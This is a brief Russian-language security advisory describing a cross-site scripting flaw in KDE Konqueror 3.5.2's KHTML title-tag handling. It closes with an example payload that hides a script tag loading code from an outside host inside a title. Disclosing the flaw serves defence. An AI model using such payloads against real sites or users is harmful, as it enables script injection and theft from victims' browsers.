Рекомендуем почитать:
Хакер #305. Многошаговые SQL-инъекции
Программа: KDE Konqueror 3.5.2
Уязвимость позволяет удаленному пользователю выполнить XSS нападение на целевую систему. Уязвимость существует из-за недостаточной обработки входных данных в KHTML Library при обработке тегов 'title'. Атакующий может выполнить произвольный сценарий в браузере жертвы в контексте безопасности уязвимого сайта.
Пример:
<title>myblog<!--</title></head><body><script src=http://beanfuzz.com/bean.js> --></title>
